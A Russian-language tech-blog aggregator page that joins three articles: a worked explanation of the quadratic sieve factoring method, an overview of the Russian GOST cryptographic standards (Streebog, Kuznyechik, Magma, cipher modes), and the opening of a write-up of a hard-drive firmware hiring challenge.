В силу сравнимости $inline$ этих функций по модулю N их можно использовать при построении требуемых соотношений. Фиксируется граница В > 0 для элементов факторной базы $inline$ , которую образуют все простые числа, не превосходящие В, а также целое число 1. Далее рассматривается сравнение по модулю N $П_{i,j}t(a_i, b_j)П_{i,j}s(a_i, b_j) (mod N)$

Допустим, что правая часть сравнения может быть представлена произведением и левая часть будет полным квадратом, если величины $inline$ входят в произведение четное число раз $inline$П_{i,j}t(a_i, b_j)=(-1)_0^ П_{p_i}p_i^{_i}$inline$,
где рi простые числа из факторной базы S, а целое число, являющееся полным квадратом.

В такой ситуации сравнение с произведениями по модулю N соответствует сравнению $inline$ с известным разложением v на множители из факторной базы. Целью в методе является получение таких соотношений числом, превышающим количество элементов в факторной базе.

Если это достигается, то возможно построить, используя алгоритм гауссова исключения, сравнение $inline$ , обеспечивающее разложение N на множители.
Для формирования величин (a, b) существует эффективный способ, называемый решетом, поиска значений $inline$ , при которых величины (a, b) раскладываются в произведение элементов факторной базы.

И сами величины (a, b) принимают небольшие значения. Значения $inline$ ограничены и верна оценка: $inline$
Проверка делимости величины s (a, b) на простое число р для произвольных a, b I сводится к проверке делимости на р величины $inline$

Это легко показывается. Пусть простое число р S делит значение величины s (a, b) при некоторых а. Но из равенства
$inline$
$inline$
$inline$ следует, что $inline$ для произвольных целых значений k, l.

Существенным недостатком метода является необходимость большого объема памяти, и отсутствие алгоритмического способа построения сравнений с известным разложением левой части в произведение множителей из факторной базы. Этот текст (компиляция) заимствован из разных публикаций, но практически не сопровождается моими комментариями. Для сравнения привожу другой текст о методе QS, но сопровождаю комментариями, которые, как я надеюсь, вносят понимание и ясность.

Квадратичное решето (QS)

Этот алгоритм (quadratic sieve-QS) предложен в 1981 году Карлом Померансом и почти 10 лет был лучшим (до предложенного в 1990 алгоритма SNFS (special number field sieve), обеспечившего разложение на множители 9-го числа П.Ферма $F_9 =2^{512} +1$ (155 десятичных знаков)).
Возможности квадратичного решета ограничиваются разложением в сомножители чисел, с не более чем 110 десятичных цифр в их описании. Оценка сложности (эвристическая) алгоритма даже после многочисленных усовершенствований составляет $inline$ арифметических операций.

При рассмотрении QS важными понятиями, которые желательно удерживать в уме, являются:
вектор показателей степеней чисел -<4 0 1 1>, где, например, для имеем $inline$
линейная зависимость векторов (см. пример 3 здесь);
факторная база S=(2,3,5,7) набор малых простых чисел, для которых N -квадратичный вычет;
гладкие числа $inline$ вычеты, которые <N и раскладывается в простые числа из базы S;
процедура просеивания.

Целью метода QS является факторизация натурального числа N путем получения для чисел х и у, множество которых строится специальным образом, соотношения $inline$ и затем проверка посредством НОД соотношения $inline$ , завершающего факторизацию N.

Делители p и q отыскиваются с помощью специальных чисел-значений многочлена вида $inline$q(x)=(j+[N^])^2-Nx(j)^2(mod N)$inline$, где $inline$x(j) =j+[N^] и j$inline$ пробегает значения в диапазоне -М<j<М. Значения q(x) в целых точках таблицы Д являются квадратами по (mod N).

Очевидно, что увеличение значения М приведет к увеличению множества чисел х для просеивания, что способствует росту множества гладких чисел. Но при этом возрастает и время просеивания. Аналогичные проблемы возникают и при увеличении факторной базы S-больше элементов в S-дольше идет обработка таблиц Д и Q (в последней опущены аргументы х).

Определение. Факторная база S набор малых простых чисел, включающий р =-1 и все простые числа рi, рiВ, такие, что символ Лежандра (N/pi)=+1, т.е. N является квадратичным вычетом для всех рi из факторной базы S.

Определение. Пара целых чисел $inline$ называется гладкой относительно факторной базы S, если: выполняется сравнение $inline$ и b раскладывается в произведение элементов из S.

В методе QS формируется множество аргументов х и чисел q(x), среди которых отыскиваются гладкие относительно факторной базы. Эти числа используются для построения соотношений, декларированных в цели метода. Ниже в примере приводится вариант такого формирования (таблица Д).

После формирования последовательности пар значений (х, q(x)) выполняем просеивание и находим значения хi, для которых $А_i=q(x_i)=П_{pS}p^{_{ip}}$ , т. е. q(x) раскладывается на сомножители в нашей факторной базе S.

Если процесс формирования последовательности пар значений (х, q(x)) не является трудным для понимания, то процесс просеивания при чтении текста требует нашего внимания значительно больше. Раскроем его здесь в деталях. Пусть задан многочлен q(x) Z[x]. Будем отыскивать все целые числа K в отрезке [-М, М] такие, что некоторые значения q(x) раскладываются в произведение простых чисел из заданного множества S.

Идея алгоритма просеивания множества чисел состоит в том, что если $inline$ , то при любом целом выполняется также сравнение с нулем для $inline$ . Это обеспечивает фиксирование сразу некоторого множества чисел х, для которых в разложении чисел q(x) на простые сомножители входит простое число р в степени не меньшей t. Это наблюдение существенно ускоряет процесс поиска (просеивания) нужных гладких чисел.

Алгоритм QS

Все теоретические положения QS удобно оформить в виде шагов алгоритма:
1. Выбираются границы P и A порядка $inline$ . $inline$ вид многочлена просеивания $inline$ и диапазон значений.

2. Для аргумента $inline$x = [N^ ] +1, [N^ ] + 2, , [N^ ] +A$inline$, и многочлена q(x) выписываем в таблицу Д по порядку пары целых чисел $inline$ .

3. Для каждого нечетного простого числа p P проверяем условие Лежандра (N/p)=1 и, если оно не выполняется, удаляем p из факторной базы. Однако, если мы разложим каждое значение q(x) по степеням простых чисел, то увидим, что некоторые числа из них не имеют множителей больше порога (в примере в разложении у 4-х чисел все факторы p11), а р = 5 не является
делителем ни одного из них, следовательно, факторную базу примера мы ограничим такими простыми числами S = (2,3,7,11):

$$display$$ 132 = 2^2 3 11 , 7623 = 3^2 7 11^2 , 8316 = 2^2 3^3 7 11 , 27783 = 3^4 7^3 .$$display$$

4. Предполагая, что p такое нечетное простое число, что N квадратичный вычет по модулю p; решаем сравнение $inline$x^2 N (mod p^) для = 1, 2,$inline$

Берем значения в порядке возрастания, пока не окажется, что уравнение не имеет решений x, сравнимых по модулю $inline$ с каким-либо из чисел в области $inline$[(kN)^ ] +1 x [(kN)^ ] +A$inline$. Обозначим через наибольшее из таких чисел, для которых в указанной области найдется число x со свойством $inline$x^2 N (mod p^)$inline$.

Пусть $inline$ два решения $inline$x^2 N (mod p^)$inline$ и $inline$x_2 N- x_1(mod p^)$inline$. Не требуется, чтобы $inline$ принадлежали отрезку $inline$[(kN)^ ] +1 x [(kN)^ ] +A$inline$.

5. При том же значении p просматриваем список значений $inline$ , полученный в пункте 2. В столбце, соответствующем p, ставим 1 против всех значений $inline$ , для которых x отличается от x1 на некоторое кратное p. После этого заменяем 1 на 2 для всех таких значений $inline$ , что x отличается от x1 на кратное $inline$ .

Затем заменяем 2 на 3 у всех значений $inline$ , для которых x отличается от x1 на кратное $inline$ , и так далее до $inline$ . Затем делаем то же самое с $inline$ . Наибольшим числом, которое появляется в этом столбце, будет .

6. Каждый раз, когда в пункте 5 ставим 1 или заменяем 1 на 2, 2 на 3 и т.д., делим соответствующее число $inline$ на p и сохраняем полученный результат в той же ячейке.

7. В столбце под p = 2 при N 1(mod 8) просто ставим 1 против $inline$ с нечетным x и делим соответствующее $inline$ на 2. При N 1(mod 8) решаем уравнение $inline$ и продолжаем в точности также, как в случае нечетного p (за исключением того, что при 3 уравнение будет иметь 4 различных решения $inline$ ).

8. Когда указанные действия будут проведены для всех простых чисел, не превосходящих P, отбросим все $inline$ , кроме тех, которые обратились в 1 после деления на все степени p, не превосходящие P.

Тогда получится таблица того же вида, что в примере метода факторизации Ферма, в которой столбец bi будет содержать все такие значения x из интервала $inline$[(kN)^ ] +1, [(kN)^ ] +A$inline$, что $inline$ есть B-число, а остальные столбцы будут соответствовать тем значениям p P, для которых N квадратичный вычет.

9. Оставшаяся часть процедуры в точности совпадает с процедурой из факторизации Ферма.

Пример. Будем применять последовательно положения теории алгоритма. Пусть задано составное число N =pq =112093, которое нужно разложить на множители. Следуя концепции квадратичного решета, извлекаем квадратный корень из N, $inline$m =[N^] =[112093^] =334,8 =335$inline$ и округляем его значение до большего целого.

Далее в методе необходимо сформировать для i =1(1)А таблицу Д пар чисел $inline$ , возрастающих по i с шагом 1 значений аргументов (ограничимся для А = 40 значениями) и соответствующих им значений функции.

Таблица Д Множество, содержащее В-гладкие числа (значения q(x)) с целыми аргументами

В этой таблице желательно иметь гладкие числа. Их надо выявить и оставить для дальнейшей обработки, а остальные можно просто удалить. Основной признак для удаления некоторого числа наличие среди его делителей больших множителей (хотя бы одного), которые не вошли в факторную базу. В качестве границы гладкости примем В = 11.

Имеется возможность в процессе решения выбранное множество чисел изменять (уменьшать, увеличивать). В таблице Д среди значений q(х) нет полных квадратов. Теперь можно приступить к поиску чисел, которые обеспечат получение однородной системы линейных уравнений по модулю 2. Сама эта система нетривиальными решениями будет иметь переменные, произведения которых будут получать значения равные полному квадрату.

Просеивание

Рассмотрим в деталях как из множества значений $inline$ в таблице Д выявляются В-гладкие числа, без представления каждого из них произведением простых сомножителей. Это очень трудоемкая работа и ее не делают.

Уже сформирована 2-х строчная таблица Д пар чисел (х-верхняя строка, q(x) нижняя) Все подряд значения q(x) (нижней строки таблицы Д) последовательно делят на все рj простые числа (и их степени) из факторной базы S. Результаты деления вписывают в прежние позиции.

Те значения, которые не делятся на рj оставляют без изменений. Цель таких преобразований не вычеркнуть полностью разделившиеся числа из таблицы, а получить в результате деления в их ячейках единичные значения, что соответствует В-гладким числам, т.е. полному разложению числа в таких позициях на степени простых из S. Также для этих ячеек выявляется аргумент х.

Дальше будем обрабатывать (делить) числа из строки таблицы Д $inline$ таблицы Д, которые соберем в одной новой Q таблице (41 позиция). Все числа этой новой таблицы делим на р = 2, = 1. Аргументы i в таблицу не пишем, так как это просто номера ячеек.

В результате получаем все четные числа, поделенные пополам в таблице Q, столбцы четных чисел чередуются с нечетными. Это закономерно. В исходной таблице четные чередовались с нечетными числами. Для любого целого d выполняется равенство $inline$ , так что, если число из набора q(х) делится на d, то все числа отстоящие от него на расстоянии, кратном d также делятся на d

Изменившиеся числа выделены заливкой в ячейках, делим на (р = 2 =2), т.е. еще раз.

Теперь все числа в таблице Q нечетные. Деление на простое р =2 и его степени 22=4 завершилось. Начинаем делить на следующее простое число из факторной базы (р =3, = 1)

Если некоторое число разделилось на три, то каждое третье после него также делится на три. Таких цепочек чисел в таблице Q возникло две: 1-я цепочка начинается с первой ячейки; 2-я с третьей.

Это следствие того, что квадратичное сравнение по модулю р имеет два решения (если вообще имеет решение). Делим на тройку всего три раза (р =3, = 3), пока таблица при делении на нее не перестанет изменяться.

Следующее деление на 3 таблицу Q не меняет. Переходим к делению на (р =7, = 1) т.е. к следующему числу факторной базы. Опять возникли 2 цепочки с началом в 4-й и в 5-й ячейках.

Еще два прохода с делителем (р = 7, = 3) приводят к появлению первой единицы в таблице (предпоследнее число таблицы 49:7:7 =1).

Дальнейшее деление на 7 таблицу не меняет. Переходим к делению на (р = 11, = 2) число из факторной базы, причем также делим двукратно и в результате получаем последнюю таблицу просеивания.

В ячейках таблицы (с аргументами х=335, 346, 347, 374) появились новые единицы. В позициях последней таблицы, содержащих единицы в исходном заполнении уже размещались 11-гладкие числа, но мы узнали об этом только после просеивания. Вот эти числа: 132, 7623, 8316, 27783.

Система линейных алгебраических уравнений и ее решение

Ни одно из значений таблицы Д вида $inline$ не квадрат. Но нам вообще-то нужны квадраты, следовательно, надо подобрать такие подмножества из В-гладких чисел (в таблице Q им соответствуют в ячейках единицы), которые при их перемножении обеспечивают формирование полных квадратов.

Выше показано, как эти четыре В-гладких числа найдены, без раскладывая всего списка чисел на множители. Соответствующая система линейных уравнений AX = 0(mod 2) имеет матрицу коэффициентов по модулю 2 следующего вида:

Верхняя строка матрицы гладкие числа, левый столбец- факторная база. Следующим шагом нами получена нетривиальная линейная комбинация по модулю 2, в которой коэффициенты 0 и 1, и дающую в результате нулевой вектор. Для этого полученные результаты (В-гладкие числа) используют для формирования системы линейных алгебраических уравнений (СЛАУ), АХ0(mod2) решения которой приводят к окончательному результату-факторизации N.

Формируется А матрица СЛАУ, в которой векторы показателей гладких чисел записываются в столбцах, а вектор Х определяемый неизвестный. Решением этой СЛАУ по модулю 2 получается вектор $inline$ . При $inline$ это решение нетривиально: (1110), что означает полным квадратом будет произведение первых трех чисел.
$inline$

В предшествующих обозначениях получены зависимости
X = П xi = 335 346 347=40220770, y = 91476.
Здесь X y = 40220770 91476 = 40129294.
Находим НОД (X y, N) = НОД (40129294, 112093) = 112093.
К сожалению, найденный делитель числа N = 112093 тривиален. Заметим, что и
НОД (X + y, N) = НОД (40312246, 112093) = 1 тривиальный делитель.

Возьмем тогда другое решение системы АХ0(mod2), а именно решение (0101), получающееся при $inline$ . Оно означает, что точным квадратом будет произведение второго и четвёртого чисел:
$inline$

Имеем X = Пxi = 346 374 = 129404, y = 14553. Находим
НОД (X y, N) = НОД (114851, 112093) = 197.
Найден нетривиальный делитель 197 числа N = 112093. Теперь число N можно разложить на множители: N = 112093 = 569 197.

Заключение

В работе с определенной детальностью приводится изложение основных шагов и этапов алгоритма квадратичного решета (QS) для факторизации чисел ограниченной разрядности.
В отличие от подавляющего большинства публикаций, в которых практически не приводятся числовые примеры, в этой работе как раз такой пример дан с подробными комментариями. На этом примере удается продемонстрировать основные характерные действия излагаемого алгоритма.
Для своего времени алгоритм QS сыграл весьма положительную роль. Было показано, что не боги горшки обжигают, но движения дальше не проявилось, так как последующие методы замкнулись на совершенствовании того же решета.

Список, использованной литературы

1. Агафонова И.В. Факторизация больших целых чисел и криптография 2006.
2. Брассар Ж. Современная криптология. М.: ПОЛИМЕД, 1999.
3. Василенко О. Н. Теоретико-числовые алгоритмы в криптографии. М.: МЦНМО, 2003
4. Нестеренко А.Ю. Теоретико-числовые алгоритмы в криптографии. Москва 2012
5. Rivest R. L., Shamir A., Adleman L. M. A method for obtaining digital signatures and public-key cryptosystems // Communications of the ACM. 1978. V. 21, P. 120126.
6. The RSA Challenge Numbers // RSA Laboratories. www.rsasecurity.com/rsalabs/node.asp?id=2093
7. Стренг Г. Линейная алгебра и её применения. М.: Мир, 1980.
8. Смарт Н. Криптография. М.: Техносфера, 2005.
9. Shanks D. Five number-theoretic algorithms // Proceedings of the Second Manitoba Conference on Numerical Mathematics (Winnipeg), Utilitas Math. 1973. P. 5170. Congressus Numerantium, No. VII.

Подробнее..

Категории: Информационная безопасность , Научно-популярное , Алгоритмы , Математика , Криптография , Шифр , Ключ , Факторизация , Решето

Шифруем по-русски, или отечественные криптоалгоритмы

01.12.2020 18:05:13 |

Автор: admin

В данной статье простыми словами описаны криптоалгоритмы, являющиеся актуальными на данный момент российскими стандартами защиты информации, и подобраны ссылки на материалы, которые при желании помогут разобраться с ними глубже. А также, в конце статьи приведены работы с результатами криптоанализа одного из важнейших элементов данных алгоритмов.

Из новостей

За ближайший год не раз появлялись новости о предложениях расширять области использования отечественной криптографии. Чтобы представить сроки реализации предложений, стоит упомянуть ряд новостей.

До конца 2020 года планируется закончить создание национального удостоверяющего центра структуры, которая будет выдавать сайтам вРунете отечественные цифровые сертификаты, пишет Медуза. Также, по данным этого издательства отечественные цифровые сертификаты будут использовать криптоалгоритмы Магма и Кузнечик. Кроме того, отечественные алгоритмы шифрования по требованию Центробанка станут обязательными к использованию в платежных системах уже с 2024 года, пишет РБК.

Добавим к этому новость от газеты Коммерсантъ, в которой Магма и Кузнечик упоминаются в контексте тестируемых алгоритмов для использования в виртуальных сим-картах eSim.

Упомянутые выше и другие основные алгоритмы, используемые в отечественной криптографии стандартизованы и описаны в ГОСТах.

Направления ГОСТов

Отечественная криптография базируется на четырех основных объектах, которые мы рассмотрим далее.

Цифровая подпись

ГОСТ 34.10-2018 описывает алгоритмы формирования и проверки электронной цифровой подписи с помощью операций в группе точек эллиптической кривой и функции хеширования. Длины секретного ключа 256 бит и 512 бит.

У пользователя есть сообщение, ключ подписи и ключ для проверки подписи. Ключ проверки подписи является открытым, для того, чтобы любой получатель смог расшифровать и убедиться в достоверности подписи. То есть если получателю удается расшифровать сообщение с помощью открытого ключа проверки подписи, принадлежащего определенному отправителю, то он может быть уверен, что сообщение подписывалось ключом подписи именно этого отправителя.

В алгоритмах формирования и проверки электронной цифровой подписи важным шагом является вычисление точки на эллиптической кривой, поэтому, прежде чем переходить к самим алгоритмам, приведем используемые понятия.

Эллиптической кривой над конечным простым полем F_p , где p>3 , называется множество точек (x, y) , $x,y\ \epsilon\ F_p$ , удовлетворяющих уравнению (в форме Вейерштрасса) $y^2 = x^3 + ax + b (mod\ p)$ , где $4a^3+27b^2 \neq0$ , $a,\ b\ \epsilon\ F_p$ .

Альтернативный способ задать эллиптическую кривую

Отметим, что эллиптическую кривую можно задать уравнением не только в форме Вейерштрасса. Относительно новым способом задания эллиптической кривой является уравнение в форме Эдвардса $x^2 + y^2 = 1+dx^2y^2, d\ \epsilon \ F_p\backslash \{ 0,1 \}$ .

Суммой точек , эллиптической кривой называется точка (x_3,y_3) , координаты которой определяются, как $x_3 = \lambda^2 -x_1 -x_2(mod\ p)$ , $y_3 = \lambda^2(x_1 -x_3) -y_1(mod\ p)$ , где $\lambda = \frac{y_2 - y_1}{x_2-x_1} (mod\ p)$ .

Точка эллиптической кривой C = kP , может быть определена через сумму точек C = P+P+...+P .

Разбор теории, необходимой для криптографии на эллиптических кривых, можно найти тут.

Алгоритмы формирования и проверки электронной цифровой подписи.

Подпись создается по следующему алгоритму.

входные данные: сообщение и закрытый ключ подписи .

к сообщению применяется хеш-функция(Стрибог) и вычисляется хеш-код сообщения h=h(M) , отметим, что хеш-код это строка бит.

определяется число $e = \alpha(mod\ q)$ , где $\alpha$ целое число, которое соответствует двоичному представлению хеш-кода . Причем если $\alpha(mod\ q) = 0$ , то принимается за 1.
это порядок порядок циклической подгруппы группы точек эллиптической кривой, который является одним из параметров цифровой подписи. Также среди параметров есть это базовая точка подгруппы.

на основе случайно сгенерированного целого числа k, 0<k<q , это число называют секретным ключом. Затем вычисляется точка на эллиптической кривой C = kP . Точка имеет координаты (x_c,y_c) .

из координаты точки на эллиптической кривой и преобразования хеша вычисляется электронная подпись (r, s) , где $r = x_c (mod\ q),\ s = (rd+ke)(mod\ q)$ . Если либо , либо равняется 0, то нужно вернуться к предыдущему шагу.

выходные данные: цифровая подпись (r, s) которую добавляют к сообщению.

Теперь перейдем к алгоритму проверки подписи.

входные данные: сообщение c цифровой подписью (r, s) и ключ проверки подписи

полученная цифровая подпись проходит первичную проверку, если проверка не пройдена, то есть не выполнены неравенства $0<r<q,\ 0<s<q$ , то подпись неверна.

вычисляется хеш-код сообщения h=h(M) , опять же с помощью алгоритма Стрибог.

определяется число $e = \alpha(mod\ q)$ , где $\alpha$ целое число, которое соответсвует двоичному представлению хеш-кода . Причем если $\alpha(mod\ q) = 0$ , то принимается за 1. Затем определяется $\nu = e^{-1}(mod\ q)$ .

вычисляется точка эллиптической кривой $C = s\nu P -r\nu Q$ , из которой получается $R = x_c (mod\ q)$ .

если r = R , то подпись верна

выходные данные: подпись вена/неверна

Хеш-функция

ГОСТ 34.11-2018 посвящен функции хеширования. В данном документе содержится описание алгоритма вычисления хеш-функции, известной из предыдущих версий стандарта, как Стрибог.

Стрибог принимает на вход сообщение произвольной длины, которое впоследствии разбивается на блоки размером 512 бит(с дополнением блоков при необходимости). После чего входные данные преобразуются в хеш-код фиксированной длинны 256 или 512 бит.

Подробное описание алгоритма вместе с разбором используемых в нем преобразований можно найти в статье @NeverWalkAloner.

Шифры

ГОСТ 34.12-2018 охватывает блочные шифры. Именно в этом ГОСТе описаны алгоритмы шифрования Кузнечик и Магма алгоритмы блочного шифрования с длинами шифруемых блоков 128 бит и 64 бита соответсвенно и длиной ключа шифрования 256 бит у обоих.

Шифрование блока открытого теста Кузнечиком происходит в 10 раундов, для каждого раунда из исходного ключа шифрования генерируется пара раундовых ключей, в каждом раунде проходят стадии подстановки и перестановки (перестановка вызывает особый интерес для криптоанализа алгоритма).

Приведем упрощенную схему работы Кузнечика при зашифровании.

Расшифрование Кузнечиком реализуется путем использования обратных операций подстановки и перестановки в инвертированном порядке, также, в обратном порядке следуют и раундовые ключи.

@sevastyan01 в своей статье подробно описал алгоритм Кузнечик.

Зашифрование блока Магмой проходит в 32 раунда, для каждого раунда из исходного ключа шифрования генерируется раундовый ключ, причем алгоритм генерации ключей отличается от генерации ключей в Кузнечике.

Расшифрование производится аналогичной зашифрованную последовательностью раундов, но с инвертированным порядком следования раундовых ключей.

Режимы работы шифров

ГОСТ 34.13-2018 содержит описание следующих режимов работы блочных шифров.

Режим простой замены

При зашифровании сообщение делится на блоки равной заданной длины. В случае, когда размер сообщения не кратен размеру блока, последний блок дополняется до нужной длины. Каждый блок независимо от остальных шифруется функцией, выполняющей блочное шифрования с использованием ключа.

Расшифрование происходит аналогичным образом. Причем если при зашифровании было применено дополнение, то при расшифровании применяется обратная операция.

Режим гаммирования

В данном режиме работы при шифровании каждый блок открытого текста складывается с блоком гаммы путем операции побитового сложения по модулю 2, XOR. Под гаммой понимается зашифрованная с использованием ключа последовательность, которую вырабатывает определенный алгоритм, который принимает на вход вектор инициализации.

Схематично изобразим данный режим при зашифровании и расшифровании, они происходят аналогично друг другу.

Если общая длина гаммы не кратна длине блока, то последний блок гаммы усекается до размера блока. Блоки гаммы отличны друг от друга и имеют псевдослучайных характер.

Режимы гаммирования с обратной связью: по выходу, по шифротексту

Два режима помещены в один пункт, так как они похожи между собой. В данных режимах при зашифровании выходные данные процедуры шифрования, либо сам шифротекст в случае обратной связи по шифротексту, подаются на вход следующей процедуре шифрования и так далее.

Отличие режимов можно увидеть на схеме.

При расшифровании схема преобразуется следующим образом. Шифротекст встает на место открытого текста, процедура шифрования сменяется процедурой расшифрования, а выходом алгоритма является расшифрованный текст. В дальнейших схемах будем это учитывать.

Режим простой замены с зацеплением

Особенностью данного режима работы является то, что каждый блок открытого текста, за исключением первого, складывается с предыдущим результатом шифрования.

Режим выработки имитовставки

При работе в данном режиме создается зависящий от всего текста блок, который предназначен для проверки наличия в шифротексте искажений.

Каждый из стандартов действителен с 1 июня 2019 года в соответствии с приказом Федерального агентства по техническому регулированию и метрологии. Актуальные ГОСТы наследуют разработки, прописанные в предыдущих версиях.

Реализации алгоритмов ГОСТов

@ru_crypt в своей статье собрал множество вариантов реализации ГОСТовских алгоритмов на любой вкус.

Интерес к таблице подстановок

Рассмотрим ГОСТ 34.10-2018. В алгоритмах формирования и проверки цифровой подписи на начальных шагах используется хеш-функция Стрибог, которая определена в ГОСТ 34.11-2018.

Заглянем теперь в ГОСТ 34.12-2018. В данном документе в качестве параметра алгоритма Кузнечик для нелинейного биективного преобразования приводится таблица подстановок

$\pi$ . Эта же таблица приведена в ГОСТ 34.11-2018, то есть используется и при хешировании.

Таблица $\pi$ задает единственное нелинейное преобразование в алгоритме шифрования, которое значительно усложняет взлом шифра. То есть функция подстановки особенно важна для устойчивости шифра к взломам.

Разработчики Кузнечика и Стрибога утверждают, что сгенерировали таблицу $\pi$ случайным образом. Однако в ряде работ был проведен криптоанализ таблицы подстановок и выявлено несколько способов ее генерации, причем не случайным образом.

Статьи с алгоритмами генерации таблицы $\pi$ :

Reverse-Engineering the S-Box of Streebog, Kuznyechik and STRIBOBr1 Alex Biryukov, L eo Perrin, and Aleksei Udovenko

Exponential S-Boxes: a Link Between the S-Boxes of BelT and Kuznyechik/Streebog Lo Perrin and Aleksei Udovenko

Partitions in the S-Box of Streebog and Kuznyechik Lo Perrin

В конце каждой из статей приведены алгоритмы генерации таблицы подстановок, которые можно запустить в оригинальном виде с помощью SageMath.

Заключение

В данной статье мы познакомились с основными криптоалгоритмами, которые приняты в качестве стандартов ГОСТ и получили базовое представление об их работе. А также, привели примеры работ по криптоанализу Кузнечика и Стрибога.

Подробнее..

Категории: Информационная безопасность , Алгоритмы , Криптография , Шифр , Цифровая подпись , Гост , Кузнечик , Магма , Стрибог

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0

26.03.2021 10:08:08 |

Автор: admin

По мотивам

Темная сторона

В нашей жизни существуют моменты, когда все тихо. Все переменные соблюдены и выровнены, а существование давно не преподносит перемен: все люди, которые рядом уже давно стали друзьями, или близкими знакомыми. Со мной так и произошло, и я этому чертовски счастлив - это стоит невероятно дорого. Но осознание того, что наша жизнь конечна, порой заставляет задуматься "а что если?". Что если, все-таки, возможно выйти из привычного способа жизни и занять себя чем-то иным. Скажем так, прожить еще одну жизнь в рамках одной. Здесь и начинается наше приключение.

Контакт

Сидя в уютном офисе, меня посетила мысль пошерстить реддит (вот так вот просто - задумался о смысле жизни, и полез на реддит, с кем не бывает). Внезапно нашелся топик, на котором была уйма вакансий связанных с инфосеком, но все они требовали знаний стандартов, подходов к пентестингу, и прочей документо-связной лабуды. Но, одна из них мне приглянулась. Это была вакансия на security research интерна. Давая себе отчет, что я всего-навсего смотрел видосики в интернете о buffer-overflow'ах, меня посетила мысль, что на интерна я то уж точно сгожусь. Отправив простенькое рекомендательное письмо на публичный e-mail адрес компании, я получил ссылку на 2 картинки. На этих картинках был массив из 16-разрядых чисел. Собрав эти числа в hex-редакторе, я получил новый, уже не публичный e-mail адрес. Отправив еще одно письмо туда, ребята запросили мой адрес проживания. Светить свое место жительства с кем-то из интернета считается плохим тоном, но судьба распорядилась так, что в тот момент, место, где я жил было временным. Я, все-таки, решил рискнуть, и отправил ребятам страну, город и адрес. Через неделю со мной связался человек из UPS и сообщил, что для меня есть посылка.

Что в коробке?

Открыв заводской картон от UPS, меня ждала специальная коробка, которая защищала все, что внутри от статики и прочих наводок. Открыв ее я обнаружил кучу конфет, переходник SATA-USB3, распечатки инструкций и, самое главное, брендированный 3,5" HDD диск в зиплоке.

Инструкции

Тыц

Детально изучив документацию, я сложил у себя в голове следующую картину:

Эта задачка является довольно таки успешным залогом того, что компания сильно обратит на тебя внимание
По решению всех задач, откроются публичный и приватный ключи для биткоин кошелька с 0.1337 BTC
Мало того, что нужно будет разобрать диск, так еще и кривизна рук должна быть соответственной, чтоб держать в руках паяльник
Утилита для прошивки диска нестабильна. Нужно выждать минуту перед тем как его обесточивать после прошивки
У меня есть 1 "звонок другу".
В процессе загрузки диска участвуют 3 составляющие - главный IC, прошивка внутри Winbond Flash Chip, и данные на пластинах внутри жесткого диска
У диска, помимо SATA power & SATA data, есть еще 4 pina

Содержимое

Подключив диск к своему Debian-неттопу, и глянув лог ядра я заметил, что диск разбит на 4 раздела. 1й был рабочим, и его можно было примаунтить, а вот 3 остальных имели смещенный адрес начала раздела. Таким образом ребята разбили челлендж на 4 уровня. Решая предыдущий, ты получаешь доступ к новому разделу, подсказкам и файлу прошивки, который и делает новый раздел доступным для монтирования.

root@ubuntu:~# dmesg...[ 4718.927084]  sdb: sdb1 sdb2 sdb3 sdb4[ 4718.927140] sdb: p2 start 20480000 is beyond EOD, truncated[ 4718.927140] sdb: p3 start 40960000 is beyond EOD, truncated[ 4718.927140] sdb: p4 start 81920000 is beyond EOD, truncated[ 4718.928123] sd 3:0:0:0: [sdb] Attached SCSI disk...

LEVEL0

Содержимое раздела:

root@ubuntu:/media/user/LEVEL0# file *level0_instructions.txt: UTF-8 Unicode textlevel1.md5:              ASCII textseaflashlin_rbs:         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, stripped

root@ubuntu:/media/user/LEVEL0# cat level0_instructions.txtHeres where the challenge starts.1. Flash level_1.lod using the seaflash tool.2. Maybe a serial console to the drive would be useful?

root@ubuntu:/media/user/LEVEL0# cat level1.md5 cbf06ad97efb847d040d178ae953715c  ../2020-10-13-lods//1//level_1.lod

В общем, меня ждала контрольная сумма для файла прошивки от первого уровня, утилита для прошивки, и инструкция что делать. Утилита прошивки имеет окончание rbs - это значит, ребята ее пропатчили чтоб она могла прошивать диск измененной прошивкой. Предварительно проверив ее на virustotal.com я пришел в замешательство. Файла прошивки нету!

Одна из инструкций говорила о поврежденных файлах. Файловая система на диске оказалась FAT32. Я нашел программу testdisk, один из функционалов которой включает в себя поиск поврежденных данных. Направив ее на /dev/sdb1, файл прошивки нашелся.

TestDisk 7.0, Data Recovery Utility, April 2015Christophe GRENIER <grenier@cgsecurity.org>http://www.cgsecurity.org   P FAT32                    0   0  1  1337  63 31    2740223 [LEVEL0]Directory />-rwxr-xr-x     0     0       139 21-Oct-2020 00:35 level0_instructions.txt -rwxr-xr-x     0     0    104280 21-Oct-2020 00:35 seaflashlin_rbs -rwxr-xr-x     0     0   1014784 21-Oct-2020 00:42 level_1_makesureitsnotcorrupted.lod -rwxr-xr-x     0     0   1014784 21-Oct-2020 00:42 level_1_thankyoumd5.lod -rwxr-xr-x     0     0        69 21-Oct-2020 00:42 level1.md5

Сверив контрольную сумму level_1_makesureitsnotcorrupted.lod с содержимым level1.md5 я понял, что это оно. Восстановив файл, я подготовился прошивать диск. При включении подобного рода дисков, ядро не только делает доступным блочное устройство, но и создает устройство SCSI. Наша утилита seaflashlin_rbs видит это устройство как /dev/sg1. Предварительно скопировав утилиту и файл прошивки куда-то за пределы диска я начал переход на следующий уровень.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -i================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 20:49:37 2021================================================================================ATA       /dev/sg0 MN: APPLE SSD SM0256F       SN: S1K4NYBF685537       FW: JA1QST325031  /dev/sg1 MN: 2AS                     SN: 2F6112500220         FW: 0   StoreJet  /dev/sg2 MN: Transcend               SN: C3C3P79A1HXW         FW: 0   APPLE     /dev/sg3 MN: SD Card Reader          SN: 00000000             FW: 3.00

